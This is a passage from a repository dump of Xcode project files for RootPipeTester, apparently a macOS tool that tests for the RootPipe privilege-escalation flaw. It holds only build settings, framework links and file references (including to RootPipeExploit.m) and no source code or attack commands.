223 | isa = PBXFrameworkReference;
224 | name = Foundation.framework;
225 | path = /System/Library/Frameworks/Foundation.framework;
226 | refType = 0;
227 | };
228 | 29B97326FDCFA39411CA2CEA = {
229 | buildPhases = (
230 | 29B97327FDCFA39411CA2CEA,
231 | 29B97328FDCFA39411CA2CEA,
232 | 29B9732BFDCFA39411CA2CEA,
233 | 29B9732DFDCFA39411CA2CEA,
234 | );
235 | buildSettings = {
236 | CURRENT_PROJECT_VERSION = 2.0;
237 | DEVELOPMENT_PLIST_FILE = "";
238 | EXECUTABLE_NAME = RootPipeTester;
239 | FRAMEWORK_SEARCH_PATHS = "\"$(SYSTEM_LIBRARY_DIR)/PrivateFrameworks\"";
240 | HEADER_SEARCH_PATHS = "";
241 | INSTALL_PATH = "$(HOME)/Applications";
242 | LIBRARY_SEARCH_PATHS = "";
243 | MACOSX_DEPLOYMENT_TARGET = 10.2;
244 | OTHER_CFLAGS = "";
245 | OTHER_LDFLAGS = "";
246 | PRECOMPILE_PREFIX_HEADER = YES;
247 | PREFIX_HEADER = RootPipeTester_Prefix.pch;
248 | PRODUCT_NAME = RootPipeTester;
249 | SECTORDER_FLAGS = "";
250 | VERSIONING_SYSTEM = "apple-generic";
251 | WARNING_CFLAGS = "-Wmost -Wno-four-char-constants -Wno-unknown-pragmas";
252 | WRAPPER_EXTENSION = app;
253 | _DEVELOPMENT_PLIST_FILE = "";
254 | };
255 | dependencies = (
256 | 82E718A71B62D66D00A8000E,
257 | );
258 | isa = PBXApplicationTarget;
259 | name = RootPipeTester;
260 | productInstallPath = "$(HOME)/Applications";
261 | productName = RootPipeTester;
262 | productReference = 17587328FF379C6511CA2CBB;
263 | productSettingsXML = "
264 |
265 |
266 |
267 | CFBundleDevelopmentRegion
268 | English
269 | CFBundleExecutable
270 | RootPipeTester
271 | CFBundleIconFile
272 | RootPipeTesterLegacy.icns
273 | CFBundleIdentifier
274 | ch.maniswebdesign.RootPipeTester
275 | CFBundleInfoDictionaryVersion
276 | 6.0
277 | CFBundleName
278 | RootPipe Tester
279 | CFBundlePackageType
280 | APPL
281 | CFBundleSignature
282 | ????
283 | CFBundleVersion
284 | 2.0-legacy
285 | LSMinimumSystemVersion
286 | 10.2.8
287 | LSMultipleInstancesProhibited
288 |
289 | NSMainNibFile
290 | MainMenu
291 | NSPrincipalClass
292 | NSApplication
293 |
294 |
295 | ";
296 | };
297 | 29B97327FDCFA39411CA2CEA = {
298 | buildActionMask = 2147483647;
299 | files = (
300 | 8277ACDA1AF5423600A8000E,
301 | 8277ACDD1AF5423F00A8000E,
302 | 8277ACE21AF5424700A8000E,
303 | 82EB2FBE1AF7933900A8000E,
304 | );
305 | isa = PBXHeadersBuildPhase;
306 | runOnlyForDeploymentPostprocessing = 0;
307 | };
308 | 29B97328FDCFA39411CA2CEA = {
309 | buildActionMask = 2147483647;
310 | files = (
311 | 080E96DCFE201CFB7F000001,
312 | 089C165EFE840E0CC02AAC07,
313 | 8278EAF81AFCF61B00A8000E,
314 | 82E718A81B62D66D00A8000E,
315 | );
316 | isa = PBXResourcesBuildPhase;
317 | runOnlyForDeploymentPostprocessing = 0;
318 | };
319 | 29B9732BFDCFA39411CA2CEA = {
320 | buildActionMask = 2147483647;
321 | files = (
322 | 29B9732CFDCFA39411CA2CEA,
323 | 8277ACD91AF5423600A8000E,
324 | 8277ACDE1AF5423F00A8000E,
325 | 8277ACE11AF5424700A8000E,
326 | 82EB2FBF1AF7933900A8000E,
327 | );
328 | isa = PBXSourcesBuildPhase;
329 | runOnlyForDeploymentPostprocessing = 0;
330 | };
331 | 29B9732CFDCFA39411CA2CEA = {
332 | fileRef = 29B97316FDCFA39411CA2CEA;
333 | isa = PBXBuildFile;
334 | settings = {
335 | ATTRIBUTES = (
336 | );
337 | };
338 | };
339 | 29B9732DFDCFA39411CA2CEA = {
340 | buildActionMask = 2147483647;
341 | files = (
342 | 1058C7A3FEA54F0111CA2CBB,
343 | 8277ACD21AF541C000A8000E,
344 | 8277ACD41AF541D100A8000E,
345 | 823271A51AFF667200A8000E,
346 | );
347 | isa = PBXFrameworksBuildPhase;
348 | runOnlyForDeploymentPostprocessing = 0;
349 | };
350 | //290
351 | //291
352 | //292
353 | //293
354 | //294
355 | //4A0
356 | //4A1
357 | //4A2
358 | //4A3
359 | //4A4
360 | 4A9504CCFFE6A4B311CA0CBA = {
361 | buildRules = (
362 | );
363 | buildSettings = {
364 | COPY_PHASE_STRIP = NO;
365 | OPTIMIZATION_CFLAGS = "-O0";
366 | };
367 | isa = PBXBuildStyle;
368 | name = Development;
369 | };
370 | 4A9504CDFFE6A4B311CA0CBA = {
371 | buildRules = (
372 | );
373 | buildSettings = {
374 | COPY_PHASE_STRIP = YES;
375 | };
376 | isa = PBXBuildStyle;
377 | name = Deployment;
378 | };
379 | //4A0
380 | //4A1
381 | //4A2
382 | //4A3
383 | //4A4
384 | //820
385 | //821
386 | //822
387 | //823
388 | //824
389 | 823271A41AFF667200A8000E = {
390 | isa = PBXFrameworkReference;
391 | name = PreferencePanes.framework;
392 | path = /System/Library/Frameworks/PreferencePanes.framework;
393 | refType = 0;
394 | };
395 | 823271A51AFF667200A8000E = {
396 | fileRef = 823271A41AFF667200A8000E;
397 | isa = PBXBuildFile;
398 | settings = {
399 | };
400 | };
401 | 8277ACD11AF541C000A8000E = {
402 | isa = PBXFrameworkReference;
403 | name = Admin.framework;
404 | path = /System/Library/PrivateFrameworks/Admin.framework;
405 | refType = 0;
406 | };
407 | 8277ACD21AF541C000A8000E = {
408 | fileRef = 8277ACD11AF541C000A8000E;
409 | isa = PBXBuildFile;
410 | settings = {
411 | };
412 | };
413 | 8277ACD31AF541D100A8000E = {
414 | isa = PBXFrameworkReference;
415 | name = Security.framework;
416 | path = /System/Library/Frameworks/Security.framework;
417 | refType = 0;
418 | };
419 | 8277ACD41AF541D100A8000E = {
420 | fileRef = 8277ACD31AF541D100A8000E;
421 | isa = PBXBuildFile;
422 | settings = {
423 | };
424 | };
425 | 8277ACD51AF5421000A8000E = {
426 | isa = PBXFileReference;
427 | path = RootPipeTester_Prefix.pch;
428 | refType = 4;
429 | };
430 | 8277ACD71AF5423600A8000E = {
431 | fileEncoding = 4;
432 | isa = PBXFileReference;
433 | path = RootPipeExploit.m;
434 | refType = 4;
435 | };
436 | 8277ACD81AF5423600A8000E = {
437 | fileEncoding = 4;
438 | isa = PBXFileReference;
439 | path = RootPipeExploit.h;
440 | refType = 4;
441 | };
442 | 8277ACD91AF5423600A8000E = {
443 | fileRef = 8277ACD71AF5423600A8000E;
444 | isa = PBXBuildFile;
445 | settings = {
446 | };
447 | };
448 | 8277ACDA1AF5423600A8000E = {
449 | fileRef = 8277ACD81AF5423600A8000E;
450 | isa = PBXBuildFile;
451 | settings = {
452 | };
453 | };
454 | 8277ACDB1AF5423F00A8000E = {
455 | fileEncoding = 4;
456 | isa = PBXFileReference;
457 | path = RootPipeTest.h;
458 | refType = 4;
459 | };
460 | 8277ACDC1AF5423F00A8000E = {
461 | fileEncoding = 4;
462 | isa = PBXFileReference;
463 | path = RootPipeTest.m;
464 | refType = 4;
465 | };
466 | 8277ACDD1AF5423F00A8000E = {
467 | fileRef = 8277ACDB1AF5423F00A8000E;
468 | isa = PBXBuildFile;
469 | settings = {
470 | };
471 | };
472 | 8277ACDE1AF5423F00A8000E = {
473 | fileRef = 8277ACDC1AF5423F00A8000E;
474 | isa = PBXBuildFile;
475 | settings = {
476 | };
477 | };
478 | 8277ACDF1AF5424700A8000E = {
479 | fileEncoding = 4;
480 | isa = PBXFileReference;
481 | path = RootPipeDelegate.m;
482 | refType = 4;
483 | };
484 | 8277ACE01AF5424700A8000E = {
485 | fileEncoding = 4;
486 | isa = PBXFileReference;
487 | path = RootPipeDelegate.h;
488 | refType = 4;
489 | };
490 | 8277ACE11AF5424700A8000E = {
491 | fileRef = 8277ACDF1AF5424700A8000E;
492 | isa = PBXBuildFile;
493 | settings = {
494 | };
495 | };
496 | 8277ACE21AF5424700A8000E = {
497 | fileRef = 8277ACE01AF5424700A8000E;
498 | isa = PBXBuildFile;
499 | settings = {
500 | };
501 | };
502 | 8278EAF71AFCF61B00A8000E = {
503 | isa = PBXFileReference;
504 | name = RootPipeTesterLegacy.icns;
505 | path = Resources/RootPipeTesterLegacy.icns;
506 | refType = 4;
507 | };
508 | 8278EAF81AFCF61B00A8000E = {
509 | fileRef = 8278EAF71AFCF61B00A8000E;
510 | isa = PBXBuildFile;
511 | settings = {
512 | };
513 | };
514 | 82E718951B62D5B000A8000E = {
515 | children = (
516 | 82E718961B62D5BC00A8000E,
517 | 82E718BB1B62D84A00A8000E,
518 | 82E718981B62D5CA00A8000E,
519 | );
520 | isa = PBXGroup;
521 | name = RPTDAPlugIn;
522 | refType = 4;
523 | };
524 | 82E718961B62D5BC00A8000E = {
525 | children = (
526 | 82E7189A1B62D5EF00A8000E,
527 | 82E718991B62D5EF00A8000E,
528 | );
529 | isa = PBXGroup;
530 | name = Classes;
531 | refType = 4;
532 | };
533 | 82E718981B62D5CA00A8000E = {
534 | children = (
535 | 82E7189F1B62D64700A8000E,
536 | 82E718AC1B62D6CF00A8000E,
537 | 82E718AE1B62D71800A8000E,
538 | 82E718B01B62D72700A8000E,
539 | );
540 | isa = PBXGroup;
541 | name = Frameworks;
542 | refType = 4;
543 | };
544 | 82E718991B62D5EF00A8000E = {
545 | fileEncoding = 4;
546 | isa = PBXFileReference;
547 | name = RPTDAPlugIn.h;
548 | path = RPTDAPlugIn/RPTDAPlugIn.h;
549 | refType = 4;
550 | };
551 | 82E7189A1B62D5EF00A8000E = {
552 | fileEncoding = 4;
553 | isa = PBXFileReference;
554 | name = RPTDAPlugIn.m;
555 | path = RPTDAPlugIn/RPTDAPlugIn.m;
556 | refType = 4;
557 | };
558 | 82E7189F1B62D64700A8000E = {
559 | isa = PBXFrameworkReference;
560 | name = Cocoa.framework;
561 | path = /System/Library/Frameworks/Cocoa.framework;
562 | refType = 0;
563 | };
564 | 82E718A01B62D66D00A8000E = {
565 | buildActionMask = 2147483647;
566 | files = (
567 | 82E718AA1B62D67700A8000E,
568 | );
569 | isa = PBXHeadersBuildPhase;
570 | runOnlyForDeploymentPostprocessing = 0;
571 | };
572 | 82E718A11B62D66D00A8000E = {
573 | buildActionMask = 2147483647;
574 | files = (
575 | 82E718BD1B62D8A500A8000E,
576 | );
577 | isa = PBXResourcesBuildPhase;
578 | runOnlyForDeploymentPostprocessing = 0;
579 | };
580 | 82E718A21B62D66D00A8000E = {
581 | buildActionMask = 2147483647;
582 | files = (
583 | 82E718A91B62D67700A8000E,
584 | 82E718BE1B62DA6700A8000E,
585 | 82E718BF1B62DA6D00A8000E,
586 | );
587 | isa = PBXSourcesBuildPhase;
588 | runOnlyForDeploymentPostprocessing = 0;
589 | };
590 | 82E718A31B62D66D00A8000E = {
591 | buildActionMask = 2147483647;
592 | files = (
593 | 82E718AB1B62D67800A8000E,
594 | 82E718AD1B62D6CF00A8000E,
595 | 82E718AF1B62D71800A8000E,
596 | 82E718B11B62D72700A8000E,
597 | );
598 | isa = PBXFrameworksBuildPhase;
599 | runOnlyForDeploymentPostprocessing = 0;
600 | };
601 | 82E718A41B62D66D00A8000E = {
602 | buildActionMask = 2147483647;
603 | files = (
604 | );
605 | isa = PBXRezBuildPhase;
606 | runOnlyForDeploymentPostprocessing = 0;
607 | };
608 | 82E718A51B62D66D00A8000E = {
609 | buildPhases = (
610 | 82E718A01B62D66D00A8000E,
611 | 82E718A11B62D66D00A8000E,
612 | 82E718A21B62D66D00A8000E,
613 | 82E718A31B62D66D00A8000E,
614 | 82E718A41B62D66D00A8000E,
615 | );
616 | buildSettings = {
617 | CURRENT_PROJECT_VERSION = 2.0;
618 | FRAMEWORK_SEARCH_PATHS = "\"$(SYSTEM_LIBRARY_DIR)/PrivateFrameworks\"";
619 | MACOSX_DEPLOYMENT_TARGET = 10.2;
620 | OTHER_CFLAGS = "";
621 | OTHER_LDFLAGS = "";
622 | OTHER_REZFLAGS = "";
623 | PRECOMPILE_PREFIX_HEADER = YES;
624 | PREFIX_HEADER = RPTDAPlugIn/RPTDAPlugIn_Prefix.pch;
625 | PRODUCT_NAME = RPTDAPlugIn;
626 | SECTORDER_FLAGS = "";
627 | VERSIONING_SYSTEM = "apple-generic";
628 | WARNING_CFLAGS = "-Wmost -Wno-four-char-constants -Wno-unknown-pragmas";
629 | WRAPPER_EXTENSION = bundle;
630 | };
631 | dependencies = (
632 | );
633 | isa = PBXBundleTarget;
634 | name = RPTDAPlugIn;
635 | productInstallPath = "$(USER_LIBRARY_DIR)/Bundles";
636 | productName = RPTDaPlugIn;
637 | productReference = 82E718A61B62D66D00A8000E;
638 | productSettingsXML = "
639 |
640 |
641 |
642 | CFBundleDevelopmentRegion
643 | English
644 | CFBundleExecutable
645 | RPTDAPlugIn
646 | CFBundleGetInfoString
647 |
648 | CFBundleIconFile
649 |
650 | CFBundleIdentifier
651 | ch.maniswebdesign.RootPipeTester.RPTDAPlugIn
652 | CFBundleInfoDictionaryVersion
653 | 6.0
654 | CFBundleName
655 |
656 | CFBundlePackageType
657 | BNDL
658 | CFBundleShortVersionString
659 |
660 | CFBundleSignature
661 | ????
662 | CFBundleVersion
663 | 2.0-legacy
664 | NSPrincipalClass
665 | RPTDAPlugIn
666 |
667 |
668 | ";
669 | };
670 | 82E718A61B62D66D00A8000E = {
671 | isa = PBXBundleReference;
672 | path = RPTDAPlugIn.bundle;
673 | refType = 3;
674 | };
675 | 82E718A71B62D66D00A8000E = {
676 | isa = PBXTargetDependency;
677 | target = 82E718A51B62D66D00A8000E;
678 | };
679 | 82E718A81B62D66D00A8000E = {
680 | fileRef = 82E718A61B62D66D00A8000E;
681 | isa = PBXBuildFile;
682 | settings = {
683 | };
684 | };
685 | 82E718A91B62D67700A8000E = {
686 | fileRef = 82E7189A1B62D5EF00A8000E;
687 | isa = PBXBuildFile;
688 | settings = {
689 | };
690 | };
691 | 82E718AA1B62D67700A8000E = {
692 | fileRef = 82E718991B62D5EF00A8000E;
693 | isa = PBXBuildFile;
694 | settings = {
695 | };
696 | };
697 | 82E718AB1B62D67800A8000E = {
698 | fileRef = 82E7189F1B62D64700A8000E;
699 | isa = PBXBuildFile;
700 | settings = {
701 | };
702 | };
703 | 82E718AC1B62D6CF00A8000E = {
704 | isa = PBXFrameworkReference;
705 | name = Admin.framework;
706 | path = /System/Library/PrivateFrameworks/Admin.framework;
707 | refType = 0;
708 | };
709 | 82E718AD1B62D6CF00A8000E = {
710 | fileRef = 82E718AC1B62D6CF00A8000E;
711 | isa = PBXBuildFile;
712 | settings = {
713 | };
714 | };
715 | 82E718AE1B62D71800A8000E = {
716 | isa = PBXFrameworkReference;
717 | name = PreferencePanes.framework;
718 | path = /System/Library/Frameworks/PreferencePanes.framework;
719 | refType = 0;
720 | };
721 | 82E718AF1B62D71800A8000E = {
722 | fileRef = 82E718AE1B62D71800A8000E;
723 | isa = PBXBuildFile;
724 | settings = {
725 | };
726 | };
727 | 82E718B01B62D72700A8000E = {
728 | isa = PBXFrameworkReference;
729 | name = Security.framework;
730 | path = /System/Library/Frameworks/Security.framework;
731 | refType = 0;
732 | };
733 | 82E718B11B62D72700A8000E = {
734 | fileRef = 82E718B01B62D72700A8000E;
735 | isa = PBXBuildFile;
736 | settings = {
737 | };
738 | };
739 | 82E718BB1B62D84A00A8000E = {
740 | children = (
741 | 82E718BC1B62D8A500A8000E,
742 | );
743 | isa = PBXGroup;
744 | name = "Other Sources";
745 | refType = 4;
746 | };
747 | 82E718BC1B62D8A500A8000E = {
748 | isa = PBXFileReference;
749 | name = RPTDAPlugIn_Prefix.pch;
750 | path = RPTDAPlugIn/RPTDAPlugIn_Prefix.pch;
751 | refType = 4;
752 | };
753 | 82E718BD1B62D8A500A8000E = {
754 | fileRef = 82E718BC1B62D8A500A8000E;
755 | isa = PBXBuildFile;
756 | settings = {
757 | };
758 | };
759 | 82E718BE1B62DA6700A8000E = {
760 | fileRef = 8277ACDC1AF5423F00A8000E;
761 | isa = PBXBuildFile;
762 | settings = {
763 | };
764 | };
765 | 82E718BF1B62DA6D00A8000E = {
766 | fileRef = 8277ACD71AF5423600A8000E;
767 | isa = PBXBuildFile;
768 | settings = {
769 | };
770 | };
771 | 82EB2FBC1AF7933900A8000E = {
772 | fileEncoding = 4;
773 | isa = PBXFileReference;
774 | path = RightsInspectorDelegate.h;
775 | refType = 4;
776 | };
777 | 82EB2FBD1AF7933900A8000E = {
778 | fileEncoding = 4;
779 | isa = PBXFileReference;
780 | path = RightsInspectorDelegate.m;
781 | refType = 4;
782 | };
783 | 82EB2FBE1AF7933900A8000E = {
784 | fileRef = 82EB2FBC1AF7933900A8000E;
785 | isa = PBXBuildFile;
786 | settings = {
787 | };
788 | };
789 | 82EB2FBF1AF7933900A8000E = {
790 | fileRef = 82EB2FBD1AF7933900A8000E;
791 | isa = PBXBuildFile;
792 | settings = {
793 | };
794 | };
795 | };
796 | rootObject = 29B97313FDCFA39411CA2CEA;
797 | }
798 |
--------------------------------------------------------------------------------
/src/RootPipeTester/RootPipeTester.xcodeproj/TemplateIcon.icns:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sideeffect42/RootPipeTester/53ad62c4f9a7ee4a882deb004c876c3608e15bae/src/RootPipeTester/RootPipeTester.xcodeproj/TemplateIcon.icns
--------------------------------------------------------------------------------
/src/RootPipeTester/RootPipeTester.xcodeproj/project.pbxproj:
--------------------------------------------------------------------------------
1 | // !$*UTF8*$!
2 | {
3 | archiveVersion = 1;
4 | classes = {
5 | };
6 | objectVersion = 45;
7 | objects = {
8 |
9 | /* Begin PBXBuildFile section */
10 | 8210D4141AE4FA4A0074CDBE /* RootPipeExploit.m in Sources */ = {isa = PBXBuildFile; fileRef = 8210D4131AE4FA4A0074CDBE /* RootPipeExploit.m */; };
11 | 8210D49E1AE513920074CDBE /* RootPipeTest.m in Sources */ = {isa = PBXBuildFile; fileRef = 8210D49D1AE513920074CDBE /* RootPipeTest.m */; };
12 | 8210FE4F1B451FC3004E2BB5 /* Cocoa.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8210FE4E1B451FC3004E2BB5 /* Cocoa.framework */; };
13 | 8210FE511B451FE6004E2BB5 /* Admin.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8210FE501B451FE6004E2BB5 /* Admin.framework */; };
14 | 8210FE531B451FF6004E2BB5 /* PreferencePanes.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8210FE521B451FF6004E2BB5 /* PreferencePanes.framework */; };
15 | 8210FE551B451FFE004E2BB5 /* Security.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8210FE541B451FFE004E2BB5 /* Security.framework */; };
16 | 8210FE571B451FFE004E2BB5 /* SecurityFoundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8210FE561B451FFE004E2BB5 /* SecurityFoundation.framework */; };
17 | 8210FE6F1B452444004E2BB5 /* RPTDAPlugIn.m in Sources */ = {isa = PBXBuildFile; fileRef = 8210FE3A1B451EAF004E2BB5 /* RPTDAPlugIn.m */; };
18 | 8210FE8A1B452721004E2BB5 /* RootPipeTest.m in Sources */ = {isa = PBXBuildFile; fileRef = 8210D49D1AE513920074CDBE /* RootPipeTest.m */; };
19 | 8210FE8B1B452738004E2BB5 /* RootPipeExploit.m in Sources */ = {isa = PBXBuildFile; fileRef = 8210D4131AE4FA4A0074CDBE /* RootPipeExploit.m */; };
20 | 82287FF61AF95BD400CFA966 /* MainMenu.nib in Resources */ = {isa = PBXBuildFile; fileRef = 82287FF41AF95BD400CFA966 /* MainMenu.nib */; };
21 | 8253650E1B455499000D600B /* RPTDAPlugIn.bundle in Resources */ = {isa = PBXBuildFile; fileRef = 8210FE491B451F68004E2BB5 /* RPTDAPlugIn.bundle */; };
22 | 82583B991AE92688005120E4 /* RightsInspectorDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 82583B971AE92688005120E4 /* RightsInspectorDelegate.m */; };
23 | 82583BEB1AE94D84005120E4 /* Security.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 82583BEA1AE94D84005120E4 /* Security.framework */; };
24 | 82B6ED361AD90AD600BFBAA2 /* Admin.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 82B6ED351AD90AD600BFBAA2 /* Admin.framework */; };
25 | 82B6ED391AD90AE500BFBAA2 /* SecurityFoundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 82B6ED381AD90AE500BFBAA2 /* SecurityFoundation.framework */; settings = {ATTRIBUTES = (Weak, ); }; };
26 | 82B6EDD61AD91DC800BFBAA2 /* RootPipeDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 82B6EDD51AD91DC800BFBAA2 /* RootPipeDelegate.m */; };
27 | 82CA3F241ADEB02600938120 /* RootPipeTester.icns in Resources */ = {isa = PBXBuildFile; fileRef = 82CA3F231ADEB02600938120 /* RootPipeTester.icns */; };
28 | 82EDC4361AFF4E5500E541DD /* PreferencePanes.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 82EDC4351AFF4E5500E541DD /* PreferencePanes.framework */; settings = {ATTRIBUTES = (Weak, ); }; };
29 | 8D11072B0486CEB800E47090 /* InfoPlist.strings in Resources */ = {isa = PBXBuildFile; fileRef = 089C165CFE840E0CC02AAC07 /* InfoPlist.strings */; };
30 | 8D11072D0486CEB800E47090 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 29B97316FDCFA39411CA2CEA /* main.m */; settings = {ATTRIBUTES = (); }; };
31 | 8D11072F0486CEB800E47090 /* Cocoa.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 1058C7A1FEA54F0111CA2CBB /* Cocoa.framework */; };
32 | /* End PBXBuildFile section */
33 |
34 | /* Begin PBXContainerItemProxy section */
35 | 825364FB1B455257000D600B /* PBXContainerItemProxy */ = {
36 | isa = PBXContainerItemProxy;
37 | containerPortal = 29B97313FDCFA39411CA2CEA /* Project object */;
38 | proxyType = 1;
39 | remoteGlobalIDString = 8210FE481B451F68004E2BB5;
40 | remoteInfo = DAPlugIn;
41 | };
42 | /* End PBXContainerItemProxy section */
43 |
44 | /* Begin PBXFileReference section */
45 | 089C165DFE840E0CC02AAC07 /* English */ = {isa = PBXFileReference; fileEncoding = 10; lastKnownFileType = text.plist.strings; name = English; path = English.lproj/InfoPlist.strings; sourceTree = ""; };
46 | 1058C7A1FEA54F0111CA2CBB /* Cocoa.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Cocoa.framework; path = /System/Library/Frameworks/Cocoa.framework; sourceTree = ""; };
47 | 13E42FB307B3F0F600E4EEF1 /* CoreData.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreData.framework; path = /System/Library/Frameworks/CoreData.framework; sourceTree = ""; };
48 | 29B97316FDCFA39411CA2CEA /* main.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; };
49 | 29B97324FDCFA39411CA2CEA /* AppKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = AppKit.framework; path = /System/Library/Frameworks/AppKit.framework; sourceTree = ""; };
50 | 29B97325FDCFA39411CA2CEA /* Foundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Foundation.framework; path = /System/Library/Frameworks/Foundation.framework; sourceTree = ""; };
51 | 32CA4F630368D1EE00C91783 /* RootPipeTester_Prefix.pch */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = RootPipeTester_Prefix.pch; sourceTree = ""; };
52 | 8210D4121AE4FA4A0074CDBE /* RootPipeExploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = RootPipeExploit.h; sourceTree = ""; };
53 | 8210D4131AE4FA4A0074CDBE /* RootPipeExploit.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = RootPipeExploit.m; sourceTree = ""; };
54 | 8210D49C1AE513920074CDBE /* RootPipeTest.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = RootPipeTest.h; sourceTree = ""; };
55 | 8210D49D1AE513920074CDBE /* RootPipeTest.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = RootPipeTest.m; sourceTree = ""; };
56 | 8210FE391B451EAF004E2BB5 /* RPTDAPlugIn.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = RPTDAPlugIn.h; path = RPTDAPlugIn/RPTDAPlugIn.h; sourceTree = ""; };
57 | 8210FE3A1B451EAF004E2BB5 /* RPTDAPlugIn.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; name = RPTDAPlugIn.m; path = RPTDAPlugIn/RPTDAPlugIn.m; sourceTree = ""; };
58 | 8210FE491B451F68004E2BB5 /* RPTDAPlugIn.bundle */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = RPTDAPlugIn.bundle; sourceTree = BUILT_PRODUCTS_DIR; };
59 | 8210FE4A1B451F68004E2BB5 /* RPTDAPlugIn-Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; name = "RPTDAPlugIn-Info.plist"; path = "RPTDAPlugIn/RPTDAPlugIn-Info.plist"; sourceTree = ""; };
60 | 8210FE4E1B451FC3004E2BB5 /* Cocoa.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Cocoa.framework; path = System/Library/Frameworks/Cocoa.framework; sourceTree = SDKROOT; };
61 | 8210FE501B451FE6004E2BB5 /* Admin.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Admin.framework; path = /System/Library/PrivateFrameworks/Admin.framework; sourceTree = ""; };
62 | 8210FE521B451FF6004E2BB5 /* PreferencePanes.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = PreferencePanes.framework; path = System/Library/Frameworks/PreferencePanes.framework; sourceTree = SDKROOT; };
63 | 8210FE541B451FFE004E2BB5 /* Security.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Security.framework; path = System/Library/Frameworks/Security.framework; sourceTree = SDKROOT; };
64 | 8210FE561B451FFE004E2BB5 /* SecurityFoundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = SecurityFoundation.framework; path = System/Library/Frameworks/SecurityFoundation.framework; sourceTree = SDKROOT; };
65 | 82287FF51AF95BD400CFA966 /* English */ = {isa = PBXFileReference; lastKnownFileType = wrapper.nib; name = English; path = English.lproj/MainMenu.nib; sourceTree = ""; };
66 | 82583B971AE92688005120E4 /* RightsInspectorDelegate.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = RightsInspectorDelegate.m; sourceTree = ""; };
67 | 82583B981AE92688005120E4 /* RightsInspectorDelegate.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = RightsInspectorDelegate.h; sourceTree = ""; };
68 | 82583BEA1AE94D84005120E4 /* Security.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Security.framework; path = /System/Library/Frameworks/Security.framework; sourceTree = ""; };
69 | 82B6ECED1AD903CA00BFBAA2 /* RootPipeDelegate.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = RootPipeDelegate.h; sourceTree = ""; };
70 | 82B6ED351AD90AD600BFBAA2 /* Admin.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Admin.framework; path = /System/Library/PrivateFrameworks/Admin.framework; sourceTree = ""; };
71 | 82B6ED381AD90AE500BFBAA2 /* SecurityFoundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = SecurityFoundation.framework; path = /System/Library/Frameworks/SecurityFoundation.framework; sourceTree = ""; };
72 | 82B6EDD51AD91DC800BFBAA2 /* RootPipeDelegate.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = RootPipeDelegate.m; sourceTree = ""; };
73 | 82B6FE391B63A5A90059BAC4 /* RPTDAPlugIn_Prefix.pch */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = RPTDAPlugIn_Prefix.pch; path = RPTDAPlugIn/RPTDAPlugIn_Prefix.pch; sourceTree = ""; };
74 | 82CA3F231ADEB02600938120 /* RootPipeTester.icns */ = {isa = PBXFileReference; lastKnownFileType = image.icns; name = RootPipeTester.icns; path = Resources/RootPipeTester.icns; sourceTree = ""; };
75 | 82EDC4351AFF4E5500E541DD /* PreferencePanes.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = PreferencePanes.framework; path = /System/Library/Frameworks/PreferencePanes.framework; sourceTree = ""; };
76 | 8D1107310486CEB800E47090 /* Info.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; };
77 | 8D1107320486CEB800E47090 /* RootPipeTester.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = RootPipeTester.app; sourceTree = BUILT_PRODUCTS_DIR; };
78 | /* End PBXFileReference section */
79 |
80 | /* Begin PBXFrameworksBuildPhase section */
81 | 8210FE471B451F68004E2BB5 /* Frameworks */ = {
82 | isa = PBXFrameworksBuildPhase;
83 | buildActionMask = 2147483647;
84 | files = (
85 | 8210FE4F1B451FC3004E2BB5 /* Cocoa.framework in Frameworks */,
